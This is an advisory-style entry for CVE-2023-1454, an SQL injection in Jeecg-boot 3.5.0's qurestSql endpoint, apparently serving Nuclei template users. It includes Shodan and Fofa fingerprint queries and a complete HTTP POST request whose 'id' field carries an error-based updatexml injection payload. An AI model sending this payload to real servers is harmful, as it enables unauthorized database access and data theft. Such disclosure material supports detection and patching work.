| Title | Jeecg-boot 3.5.0 qurestSql - SQL Injection |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Upgrade Jeecg-boot to a patched version or apply the necessary security patches provided by the vendor. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93335 |
| CVE ID | CVE-2023-1454 |
| CWE ID | CWE-89 |
| Shodan Query | http.favicon.hash:1380908726 |
| Fofa Query | icon_hash=1380908726 |
| Tags | cve2023 cve jeecg sqli vkev vuln |
A vulnerability classified as critical has been found in jeecg-boot 3.5.0. This affects an unknown part of the file jmreport/qurestSql. The manipulation of the argument apiSelectId leads to sql injection. It is possible to initiate the attack remotely.
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.6
Connection: close
Content-Length: 128
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1454.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-1454.pcap
N/AN/A